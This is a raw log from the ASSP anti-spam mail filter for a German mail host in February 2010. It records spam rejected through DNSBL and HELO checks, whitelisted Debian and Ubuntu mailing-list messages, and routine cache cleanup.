FEb-23-10 17:10:05 41403-11452 [InvalidHELO] 113.53.170.44 <accumulativeffb@orlandoliquordelivery.com> to: myuser@myhost.de [spam found] -- Invalid HELO: 'VDPWWBHDQD' --  [Not being rich doesn t mean not being able to own ] -> /usr/share/assp/discarded/11452.eml;
FEb-23-10 17:10:08 41406-11456 [MsgID] 113.53.170.44 <indulgedrx@diphenylether.com> to: myuser@myhost.de [scoring] (Message-ID suspicious: '000d01cab4a2$a91aadc0$6400a8c0@indulgedrx');
FEb-23-10 17:10:08 41406-11456 [InvalidHELO] 113.53.170.44 <indulgedrx@diphenylether.com> to: myuser@myhost.de [spam found] -- Invalid HELO: 'EUYGVGHZU' --  [You can have the expression of a rich man on your ] -> /usr/share/assp/discarded/11456.eml;
FEb-23-10 17:10:11 41409-11460 [MsgID] 113.53.170.44 <emporiumh970@natproinc.com> to: myuser@myhost.de [scoring] (Message-ID suspicious: '000d01cab4a2$aaeb9d30$6400a8c0@emporiumh970');
FEb-23-10 17:10:11 41409-11460 [InvalidHELO] 113.53.170.44 <emporiumh970@natproinc.com> to: myuser@myhost.de [spam found] -- Invalid HELO: 'HGSSCYPBR' --  [Take a chance to buy a Submariner SS watch and you] -> /usr/share/assp/discarded/11460.eml;
FEb-23-10 17:20:06 Cleaning up cache records ...;
FEb-23-10 17:20:07 DNSBLCache: cleaning cache finished; before=75, deleted=6;
FEb-23-10 17:20:07 URIBLCache: cleaning cache finished; before=11, deleted=3;
FEb-23-10 17:20:07 PTRCache: cleaning cache finished; before=7, deleted=0;
FEb-23-10 17:20:07 MXACache: cleaning cache finished; before=4, deleted=0;
FEb-23-10 17:20:07 SenderBaseCache: cleaning cache finished; before=701, deleted=9;
FEb-23-10 17:20:07 Saving cache records;
FEb-23-10 17:20:12 Saving whitelist;
FEb-23-10 17:20:12 Saving redlist;
FEb-23-10 17:24:21 42260-12312 81.130.73.25 <myuser@myhost.de> to: myuser@myhost.de [scoring:-10] -- greenlisted address 'myuser@myhost.de' --  [Hello myuser check our 80 Sale];
FEb-23-10 17:24:21 42260-12312 [SpoofedSender] 81.130.73.25 <myuser@myhost.de> to: myuser@myhost.de [scoring] -- No Spoofing Allowed --  [Hello myuser check our 80 Sale];
FEb-23-10 17:24:21 42260-12312 [MsgID] 81.130.73.25 <myuser@myhost.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 17:24:21 42260-12312 [DNSBL] 81.130.73.25 <myuser@myhost.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 81.130.73.25 listed in ix.dnsbl.manitu.net psbl.surriel.com --  [Hello myuser check our 80 Sale] -> /usr/share/assp/spam/12312.eml;
FEb-23-10 17:26:15 42375-12428 79.237.151.235 <myuser@myhost.de> to: Lutz.Harder@chemline-europe.de whitelist addition: lutz.harder@chemline-europe.de;
FEb-23-10 17:26:16 42375-12428 [Local] 79.237.151.235 <myuser@myhost.de> to: Lutz.Harder@chemline-europe.de local --  --  [ZUsammenarbeit] -> /usr/share/assp/notspam/12428.eml;
FEb-23-10 17:39:32 43171-13225 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--10.eml;
FEb-23-10 17:43:22 43402-13457 [MsgID] 193.251.76.57 <ijouu4031@wanadoo.fr> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 17:43:22 43402-13457 [DNSBL] 193.251.76.57 <ijouu4031@wanadoo.fr> to: myuser@myhost.de [spam found] -- DNSBL: failed, 193.251.76.57 listed in bl.spamcop.net psbl.surriel.com --  [Exclusively for myuser 80] -> /usr/share/assp/spam/13457.eml;
FEb-23-10 18:00:09 Info: hourly scheduler running at 18:00;
FEb-23-10 18:03:48 44626-00682 [DNSBL] 93.124.94.16 <Elke.Ludwiglihyg@sura.ru> to: myuser@myhost.de [spam found] -- DNSBL: failed, 93.124.94.16 listed in dnsbl-3.uceprotect.net zen.spamhaus.org --  [Endlich wollust in Ihrem Bettchen] -> /usr/share/assp/spam/682.eml;
FEb-23-10 18:04:03 44636-00693 [DNSBL] 189.4.113.24 <Susanne.Dietrichjukoe@virtua.com.br> to: myuser@myhost.de [spam found] -- DNSBL: failed, 189.4.113.24 listed in dnsbl-2.uceprotect.net ix.dnsbl.manitu.net --  [Endlich mehr kraft im Schlafzimmer] -> /usr/share/assp/spam/693.eml;
FEb-23-10 18:08:07 44887-00945 [Whitelisted] 208.42.190.242 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [NASA Supports Univision Hispanic Education Campaig] -> /usr/share/assp/notspam/945.eml;
FEb-23-10 18:15:46 45345-01404 [MsgID] 189.106.133.145 <eajuvemic8449@veloxzone.com.br> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 18:15:47 45345-01404 [BlackHELO] 189.106.133.145 <eajuvemic8449@veloxzone.com.br> to: myuser@myhost.de [scoring] -- blacklisted HELO 'veloxzone.com.br' --  [Special offer for myuser 80 better price];
FEb-23-10 18:15:47 45345-01404 [DNSBL] 189.106.133.145 <eajuvemic8449@veloxzone.com.br> to: myuser@myhost.de [spam found] -- DNSBL: failed, 189.106.133.145 listed in dnsbl-3.uceprotect.net zen.spamhaus.org --  [Special offer for myuser 80 better price] -> /usr/share/assp/spam/1404.eml;
FEb-23-10 18:16:50 45409-01469 [MsgID] 82.233.16.248 <weozypykeb1029@proxad.net> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 18:16:50 45409-01469 [BlackHELO] 82.233.16.248 <weozypykeb1029@proxad.net> to: myuser@myhost.de [scoring] -- blacklisted HELO 'proxad.net' --  [For myuser we cut prices to 80];
FEb-23-10 18:16:50 45409-01469 [DNSBL] 82.233.16.248 <weozypykeb1029@proxad.net> to: myuser@myhost.de [spam found] -- DNSBL: failed, 82.233.16.248 listed in bl.spamcop.net dnsbl-1.uceprotect.net --  [For myuser we cut prices to 80] -> /usr/share/assp/spam/1469.eml;
FEb-23-10 18:20:15 Saving whitelist;
FEb-23-10 18:20:16 Saving redlist;
FEb-23-10 18:23:15 45794-01855 [MsgID] 98.223.254.249 <paytabo6212@comcast.net> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 18:23:15 45794-01855 [BlackHELO] 98.223.254.249 <paytabo6212@comcast.net> to: myuser@myhost.de [scoring] -- blacklisted HELO 'comcast.net' --  [Exclusively for myuser 80];
FEb-23-10 18:23:15 45794-01855 [DNSBL] 98.223.254.249 <paytabo6212@comcast.net> to: myuser@myhost.de [spam found] -- DNSBL: failed, 98.223.254.249 listed in ix.dnsbl.manitu.net psbl.surriel.com --  [Exclusively for myuser 80] -> /usr/share/assp/spam/1855.eml;
FEb-23-10 18:30:26 46226-02288 [BlackHELO] 85.214.141.132 <news2@news.aidamedia.com> to: myuser@myhost.de [scoring] -- blacklisted HELO 'mail05.aidamedia.com' --  [Nehmen Sie ab mit forever slim und erhalten Sie ei];
FEb-23-10 18:30:26 46226-02288 [DNSBL] 85.214.141.132 <news2@news.aidamedia.com> to: myuser@myhost.de [spam found] -- DNSBLcache: failed, 85.214.141.132 listed in dnsbl-1.uceprotect.net, dnsbl-2.uceprotect.net --  [Nehmen Sie ab mit forever slim und erhalten Sie ei] -> /usr/share/assp/spam/2288.eml;
FEb-23-10 18:31:20 46280-02343 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Schreibrecht auf Windows partitionen] -> /usr/share/assp/notspam/2343.eml;
FEb-23-10 18:38:48 46728-02792 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--11.eml;
FEb-23-10 18:56:52 47810-03875 [DNSBL] 189.4.174.197 <Fina.Boehmcwo@virtua.com.br> to: myuser@myhost.de [spam found] -- DNSBL: failed, 189.4.174.197 listed in dnsbl-1.uceprotect.net ix.dnsbl.manitu.net --  [S ind Sie zu dick] -> /usr/share/assp/spam/3875.eml;
FEb-23-10 18:56:58 47816-03882 [DNSBL] 200.49.20.129 <Gale.Koehlerbiuy@papnet.cl> to: myuser@myhost.de [spam found] -- DNSBL: failed, 200.49.20.129 listed in ix.dnsbl.manitu.net zen.spamhaus.org --  [Schnell abnehmen geht das] -> /usr/share/assp/spam/3882.eml;
FEb-23-10 18:57:04 47821-03888 [DNSBL] 95.53.166.117 <Gilberte.Schulzsoxfa@vologda.ru> to: myuser@myhost.de [spam found] -- DNSBL: failed, 95.53.166.117 listed in dnsbl-2.uceprotect.net zen.spamhaus.org --  [Diaet von Guttenberg] -> /usr/share/assp/spam/3888.eml;
FEb-23-10 18:58:36 47915-03983 [MsgID] 94.97.118.144 <iaxyqew5175@saudi.net.sa> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 18:58:36 47915-03983 [BlackHELO] 94.97.118.144 <iaxyqew5175@saudi.net.sa> to: myuser@myhost.de [scoring] -- blacklisted HELO 'saudi.net.sa' --  [Exclusively for myuser 80];
FEb-23-10 18:58:36 47915-03983 [DNSBL] 94.97.118.144 <iaxyqew5175@saudi.net.sa> to: myuser@myhost.de [spam found] -- DNSBL: failed, 94.97.118.144 listed in psbl.surriel.com zen.spamhaus.org --  [Exclusively for myuser 80] -> /usr/share/assp/spam/3983.eml;
FEb-23-10 19:00:11 Info: hourly scheduler running at 19:00;
FEb-23-10 19:08:02 48482-04551 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re CRM System] -> /usr/share/assp/notspam/4551.eml;
FEb-23-10 19:20:03 Cleaning up delaying databases ...;
FEb-23-10 19:20:03 Cleaning delaying database (triplets) finished; keys before=0, deleted=0;
FEb-23-10 19:20:03 Cleaning delaying database (safelisted tuplets) finished; keys before=0, deleted=0;
FEb-23-10 19:20:03 Cleaning up penalty records ...;
FEb-23-10 19:20:03 PenaltyBox: cleaning BlackBox finished; before=76, deleted=20;
FEb-23-10 19:20:03 PenaltyBox: cleaning WhiteBox finished; before=116, deleted=1;
FEb-23-10 19:20:03 Saving penalty records;
FEb-23-10 19:20:08 Cleaning up cache records ...;
FEb-23-10 19:20:08 DNSBLCache: cleaning cache finished; before=80, deleted=7;
FEb-23-10 19:20:08 URIBLCache: cleaning cache finished; before=11, deleted=10;
FEb-23-10 19:20:08 PTRCache: cleaning cache finished; before=7, deleted=0;
FEb-23-10 19:20:08 MXACache: cleaning cache finished; before=4, deleted=0;
FEb-23-10 19:20:08 SenderBaseCache: cleaning cache finished; before=703, deleted=5;
FEb-23-10 19:20:08 Saving cache records;
FEb-23-10 19:20:18 Saving whitelist;
FEb-23-10 19:20:18 Saving redlist;
FEb-23-10 19:37:01 50220-06290 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--12.eml;
FEb-23-10 19:40:27 50426-06497 [MsgID] 88.74.239.231 <tudyacux9288@arcor-ip.net> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 19:40:27 50426-06497 [BlackHELO] 88.74.239.231 <tudyacux9288@arcor-ip.net> to: myuser@myhost.de [scoring] -- blacklisted HELO 'arcor-ip.net' --  [Exclusively for myuser 80];
FEb-23-10 19:40:27 50426-06497 [DNSBL] 88.74.239.231 <tudyacux9288@arcor-ip.net> to: myuser@myhost.de [spam found] -- DNSBL: failed, 88.74.239.231 listed in dnsbl-3.uceprotect.net ix.dnsbl.manitu.net --  [Exclusively for myuser 80] -> /usr/share/assp/spam/6497.eml;
FEb-23-10 19:56:09 51369-07441 [BlackHELO] 62.27.57.152 <info-EMID0AA01LA0B1G05BL27015QHE01ORM4VA@news.hotelreservierung.de> to: myuser@myhost.de [scoring] -- blacklisted HELO 'mx152.unister.fagms.net' --  [Hamburg K ln Berlin Ihr City Urlaub zum Bestpreis];
FEb-23-10 19:56:10 51369-07441 [DNSBL] 62.27.57.152 <info-EMID0AA01LA0B1G05BL27015QHE01ORM4VA@news.hotelreservierung.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 62.27.57.152 listed in dnsbl-1.uceprotect.net dnsbl-2.uceprotect.net --  [Hamburg K ln Berlin Ihr City Urlaub zum Bestpreis] -> /usr/share/assp/spam/7441.eml;
FEb-23-10 20:00:15 Info: hourly scheduler running at 20:00;
FEb-23-10 20:12:52 52371-08444 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Schreibrecht auf Windows partitionen] -> /usr/share/assp/notspam/8444.eml;
FEb-23-10 20:14:38 52477-08551 [Whitelisted] 208.42.190.242 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [New NASA Web Page Sheds Light on Science of a Warm] -> /usr/share/assp/notspam/8551.eml;
FEb-23-10 20:20:19 Saving whitelist;
FEb-23-10 20:20:19 Saving redlist;
FEb-23-10 20:21:12 52869-08944 186.81.136.20 <myuser@myhost.de> to: myuser@myhost.de [scoring:-10] -- greenlisted address 'myuser@myhost.de' --  [News on myspace];
FEb-23-10 20:21:12 52869-08944 [SpoofedSender] 186.81.136.20 <myuser@myhost.de> to: myuser@myhost.de [scoring] -- No Spoofing Allowed --  [News on myspace];
FEb-23-10 20:21:12 52869-08944 [MsgID] 186.81.136.20 <myuser@myhost.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 20:21:12 52869-08944 [DNSBL] 186.81.136.20 <myuser@myhost.de> to: myuser@myhost.de [scoring:42] DNSBL: neutral, 186.81.136.20 listed in dnsbl-3.uceprotect.net l2.apews.org;
FEb-23-10 20:21:12 52869-08944 [MessageScoring] 186.81.136.20 <myuser@myhost.de> to: myuser@myhost.de [spam found] -- MessageScore (67) over limit (50) --  [News on myspace] -> /usr/share/assp/spam/8944.eml;
FEb-23-10 20:36:54 53813-09889 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--13.eml;
FEb-23-10 20:54:57 54896-10973 66.28.139.229 <webpronews@ientrynetwork.net> to: seo@myhost.de [spam found] -- blacklisted domain '@ientrynetwork.net' --  [Is Apple Displaying a Puritan Double Standard] -> /usr/share/assp/spam/10973.eml;
FEb-23-10 20:57:13 55033-11111 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [debian lenny zwei getrennte Partitionen im RAID5] -> /usr/share/assp/notspam/11111.eml;
FEb-23-10 21:00:19 Info: hourly scheduler running at 21:00;
FEb-23-10 21:01:09 55269-11348 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re debian lenny zwei getrennte Partitionen im RAID] -> /usr/share/assp/notspam/11348.eml;
FEb-23-10 21:14:00 56040-12120 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Debian Projekt wieder auf der CeBIT vertreten] -> /usr/share/assp/notspam/12120.eml;
FEb-23-10 21:19:30 56370-12451 [MsgID] 85.13.91.134 <ohime7785@lidos.cz> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 21:19:31 56370-12451 [DNSBL] 85.13.91.134 <ohime7785@lidos.cz> to: myuser@myhost.de [spam found] -- DNSBL: failed, 85.13.91.134 listed in ix.dnsbl.manitu.net psbl.surriel.com --  [Exclusively for myuser 80] -> /usr/share/assp/spam/12451.eml;
FEb-23-10 21:19:51 56391-12473 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Wie feststellen welches Programm den Port belegt] -> /usr/share/assp/notspam/12473.eml;
FEb-23-10 21:20:06 Uploading stats via direct connection;
FEb-23-10 21:20:12 Cleaning up cache records ...;
FEb-23-10 21:20:12 DNSBLCache: cleaning cache finished; before=77, deleted=4;
FEb-23-10 21:20:12 URIBLCache: cleaning cache finished; before=4, deleted=3;
FEb-23-10 21:20:12 PTRCache: cleaning cache finished; before=7, deleted=0;
FEb-23-10 21:20:12 MXACache: cleaning cache finished; before=4, deleted=0;
FEb-23-10 21:20:12 SenderBaseCache: cleaning cache finished; before=701, deleted=10;
FEb-23-10 21:20:12 Saving cache records;
FEb-23-10 21:20:22 Saving whitelist;
FEb-23-10 21:20:22 Saving redlist;
FEb-23-10 21:21:16 56476-12559 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [AW AW AW Anti DDOS Script 148 1 unexpected operato] -> /usr/share/assp/notspam/12559.eml;
FEb-23-10 21:27:13 56833-12917 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re debian lenny zwei getrennte Partitionen im RAID] -> /usr/share/assp/notspam/12917.eml;
FEb-23-10 21:31:23 57083-13168 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/13168.eml;
FEb-23-10 21:32:13 57133-13219 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Debian kann sich nicht entscheiden ob flashplay] -> /usr/share/assp/notspam/13219.eml;
FEb-23-10 21:33:55 57235-13322 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Cyberjack unter Ubuntu 9 10 64Bit zum Laufen br] -> /usr/share/assp/notspam/13322.eml;
FEb-23-10 21:36:13 57373-13461 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/13461.eml;
FEb-23-10 21:36:57 57416-13505 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--14.eml;
FEb-23-10 21:38:57 57537-13627 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/13627.eml;
FEb-23-10 21:47:05 58025-00116 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [AW Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/116.eml;
FEb-23-10 21:48:20 58100-00192 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re debian lenny zwei getrennte Partitionen im RAID] -> /usr/share/assp/notspam/192.eml;
FEb-23-10 21:49:20 58160-00253 78.97.25.50 <myuser@myhost.de> to: myuser@myhost.de [scoring:-10] -- greenlisted address 'myuser@myhost.de' --  [Exclusively for myuser 80];
FEb-23-10 21:49:20 58160-00253 [SpoofedSender] 78.97.25.50 <myuser@myhost.de> to: myuser@myhost.de [scoring] -- No Spoofing Allowed --  [Exclusively for myuser 80];
FEb-23-10 21:49:20 58160-00253 [MsgID] 78.97.25.50 <myuser@myhost.de> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 21:49:20 58160-00253 [DNSBL] 78.97.25.50 <myuser@myhost.de> to: myuser@myhost.de [spam found] -- DNSBL: failed, 78.97.25.50 listed in ix.dnsbl.manitu.net psbl.surriel.com --  [Exclusively for myuser 80] -> /usr/share/assp/spam/253.eml;
FEb-23-10 21:49:23 58162-00256 [DNSBL] 81.66.143.119 <Melessa.Strebermanncuakb@numericable.fr> to: myuser@myhost.de [spam found] -- DNSBL: failed, 81.66.143.119 listed in combined.njabl.org ix.dnsbl.manitu.net --  [A Merkel will so abnehmen] -> /usr/share/assp/spam/256.eml;
FEb-23-10 21:49:30 58167-00262 [DNSBL] 187.36.85.73 <Ailene.Krauseym@virtua.com.br> to: myuser@myhost.de [spam found] -- DNSBL: failed, 187.36.85.73 listed in dnsbl-1.uceprotect.net zen.spamhaus.org --  [Wie abnehmen] -> /usr/share/assp/spam/262.eml;
FEb-23-10 21:49:33 58172-00268 [DNSBL] 85.221.140.130 <Arlena.Streberberguv@icpnet.pl> to: myuser@myhost.de [spam found] -- DNSBL: failed, 85.221.140.130 listed in ix.dnsbl.manitu.net zen.spamhaus.org --  [Schlank sofort] -> /usr/share/assp/spam/268.eml;
FEb-23-10 21:51:44 58304-00401 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re AW Wie feststellen welches Programm den Port be] -> /usr/share/assp/notspam/401.eml;
FEb-23-10 21:53:04 58383-00481 [DNSBL] 41.251.28.102 <vdimquhalcowi@redhatmagazine.com> to: myuser@myhost.de [spam found] -- DNSBL: failed, 41.251.28.102 listed in dnsbl-3.uceprotect.net ix.dnsbl.manitu.net --  [M chten Sie gewinnen Jetzt herunterladen] -> /usr/share/assp/spam/481.eml;
FEb-23-10 21:53:14 58388-00487 [DNSBL] 201.132.202.177 <vdurixagakixy@icqmail.com> to: myuser@myhost.de [scoring:42] DNSBL: neutral, 201.132.202.177 listed in l2.apews.org zen.spamhaus.org;
FEb-23-10 21:53:14 58388-00487 [MessageScoring] 201.132.202.177 <vdurixagakixy@icqmail.com> to: myuser@myhost.de [spam found] -- MessageScore (52) over limit (50) --  [Eine Auszahlungsquote in H he von 98 Jetzt herunte] -> /usr/share/assp/spam/487.eml;
FEb-23-10 21:53:18 58396-00496 [DNSBL] 78.97.90.26 <lafdmepe@wikipedia.org> to: myuser@myhost.de [spam found] -- DNSBL: failed, 78.97.90.26 listed in dnsbl-3.uceprotect.net ix.dnsbl.manitu.net --  [Ein Bonus zum Herzerw rmen] -> /usr/share/assp/spam/496.eml;
FEb-23-10 21:53:21 58399-00500 [DNSBL] 89.229.130.255 <ocfxyudqezado@weblogawards.org> to: myuser@myhost.de [spam found] -- DNSBL: failed, 89.229.130.255 listed in dnsbl-3.uceprotect.net ix.dnsbl.manitu.net --  [Jetzt herunterladen und die Reise Ihres Lebens ant] -> /usr/share/assp/spam/500.eml;
FEb-23-10 21:53:27 58404-00506 [DNSBL] 189.113.235.136 <ujtjeasl@atlaswebmail.com> to: myuser@myhost.de [spam found] -- DNSBL: failed, 189.113.235.136 listed in dnsbl-1.uceprotect.net ix.dnsbl.manitu.net --  [Hier spielen Gewinner] -> /usr/share/assp/spam/506.eml;
FEb-23-10 21:53:30 58408-00511 [DNSBL] 93.113.40.79 <dnikiaioa@padems.com> to: myuser@myhost.de [spam found] -- DNSBL: failed, 93.113.40.79 listed in ix.dnsbl.manitu.net zen.spamhaus.org --  [Hier spielen Gewinner] -> /usr/share/assp/spam/511.eml;
FEb-23-10 21:53:36 58412-00516 [DNSBL] 213.135.184.9 <cwcyranuox@keromail.com> to: myuser@myhost.de [spam found] -- DNSBL: failed, 213.135.184.9 listed in dnsbl-1.uceprotect.net ix.dnsbl.manitu.net --  [M chten Sie gewinnen Jetzt herunterladen] -> /usr/share/assp/spam/516.eml;
FEb-23-10 21:53:55 58435-00540 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [AW Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/540.eml;
FEb-23-10 21:55:40 58540-00646 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [AW AW Wie feststellen welches Programm den Port be] -> /usr/share/assp/notspam/646.eml;
FEb-23-10 22:00:21 Info: hourly scheduler running at 22:00;
FEb-23-10 22:04:26 59065-01172 [Whitelisted] 91.189.94.204 <ubuntu-de-bounces@lists.ubuntu.com> to: seo@myhost.de whitelisted -- ubuntu-de-request@lists.ubuntu.com on whitelist  --  [Re Cyberjack unter Ubuntu 9 10 64Bit zum Laufen br] -> /usr/share/assp/notspam/1172.eml;
FEb-23-10 22:11:51 59510-01618 [Whitelisted] 208.42.190.180 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [NASA s Space Shuttle Discovery Rolls to Launch Pad] -> /usr/share/assp/notspam/1618.eml;
FEb-23-10 22:12:08 59527-01636 [Whitelisted] 208.42.190.160 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [NASA Awards Mississippi Information and Technical ] -> /usr/share/assp/notspam/1636.eml;
FEb-23-10 22:13:05 59582-01692 [Whitelisted] 208.42.190.242 <info114@service.govdelivery.com> to: a.myuser@blackhat-security.de whitelisted -- nasa_subscriptions@service.govdelivery.com on whitelist  --  [Restructured NASA Advisory Council Meets to Formul] -> /usr/share/assp/notspam/1692.eml;
FEb-23-10 22:19:37 59977-02088 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re AW AW Wie feststellen welches Programm den Port] -> /usr/share/assp/notspam/2088.eml;
FEb-23-10 22:20:07 Cleaning up delaying databases ...;
FEb-23-10 22:20:07 Cleaning delaying database (triplets) finished; keys before=0, deleted=0;
FEb-23-10 22:20:07 Cleaning delaying database (safelisted tuplets) finished; keys before=0, deleted=0;
FEb-23-10 22:20:07 Cleaning up penalty records ...;
FEb-23-10 22:20:07 PenaltyBox: cleaning BlackBox finished; before=86, deleted=12;
FEb-23-10 22:20:07 PenaltyBox: cleaning WhiteBox finished; before=115, deleted=0;
FEb-23-10 22:20:07 Saving penalty records;
FEb-23-10 22:20:22 Saving whitelist;
FEb-23-10 22:20:22 Saving redlist;
FEb-23-10 22:23:04 60184-02296 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [AW AW AW Wie feststellen welches Programm den Port] -> /usr/share/assp/notspam/2296.eml;
FEb-23-10 22:23:13 60192-02305 [MsgID] 190.45.7.154 <cavoni2133@vtr.net> to: myuser@myhost.de [scoring] (Message-ID missing);
FEb-23-10 22:23:14 60192-02305 [BlackHELO] 190.45.7.154 <cavoni2133@vtr.net> to: myuser@myhost.de [scoring] -- blacklisted HELO 'vtr.net' --  [Exclusively for myuser 80];
FEb-23-10 22:23:14 60192-02305 [DNSBL] 190.45.7.154 <cavoni2133@vtr.net> to: myuser@myhost.de [spam found] -- DNSBL: failed, 190.45.7.154 listed in dnsbl-2.uceprotect.net ix.dnsbl.manitu.net --  [Exclusively for myuser 80] -> /usr/share/assp/spam/2305.eml;
FEb-23-10 22:37:42 61062-03177 [MessageOK] 213.133.104.100 <root@robot.first-ns.de> to: admin@myhost.de -- Message OK --  [Achtung Traffic Report Limit Ueberschreitung atten] -> /usr/share/assp/okmail/Achtung_Traffic_Report_Limit_Ueberschreitung_attention_exceeding_of_traffic_report_limit--15.eml;
FEb-23-10 22:42:13 61333-03449 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/3449.eml;
FEb-23-10 22:51:04 61864-03981 [Whitelisted] 82.195.75.100 <bounce-debian-user-german=seo=myhost.de@lists.debian.org> to: seo@myhost.de whitelisted -- debian-user-german-request@lists.debian.org on whitelist  --  [Re Wie feststellen welches Programm den Port beleg] -> /usr/share/assp/notspam/3981.eml;
